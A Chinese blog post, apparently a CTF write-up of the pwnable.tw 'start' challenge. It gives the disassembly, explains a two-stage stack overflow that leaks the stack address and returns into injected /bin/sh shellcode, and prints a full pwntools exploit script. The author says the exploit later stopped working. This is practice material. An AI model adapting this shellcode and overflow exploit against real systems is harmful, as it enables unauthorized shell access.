暑假训练pwn(1) 额额不能被落下太多

把程序放进ubuntu里面看到是32位然后保护什么保护也没开应该很简单~~
打开IDA分析

char start()
{
  char result; // al

  result = 3;
  __asm
  {
    int     80h; LINUX - sys_write
    int     80h; LINUX -
  }
  return result;
}

这是什么鬼直接看汇编代码我靠

.text:08048060
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit           proc near               ; DATA XREF: _start+1↑o
.text:0804809D                 pop     esp
.text:0804809E                 xor     eax, eax
.text:080480A0                 inc     eax
.text:080480A1                 int     80h             ; LINUX - sys_exit
.text:080480A1 _exit           endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text           ends
.text:080480A1
.text:080480A1
.text:080480A1                 end _start

看提示都可以大致阅读出事读入一个长度的字符串然后int 80h中断有一个ret这就得想办法溢出到这里执行我们写的shellcode所以我们就得想办法得到esp的真实地址,我想到的就是通过2次溢出来getshell,第一次溢出得到esp的真实地址然后第二次溢出getshell
这里附上我的exp:

from pwn import *
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
def pwn(debug):
	if(debug==1):
		p=process('./start')
		elf=ELF('./start')
	else:
		p=remote('chall.pwnable.tw',10000)
	offset=20
	ret=0x08048087
	payload='a'*offset+p32(ret)
	p.recvuntil(':')
	p.sendline(payload)
	data=p.recv()
	leak=u32(data[:4])
	print leak
	payload2='a'*offset+p32(leak+offset)+'aaaa'*4+shellcode
	p.sendline(payload2)
	p.interactive()

if __name__=='__main__':
	pwn(1)

这个我觉得应该行阿可是我本地调试getshell了一段时间突然就不可以了我靠大佬们如果懂可以告诉我

上一篇:栈溢出基础


下一篇:JarvisOJ pwn (一)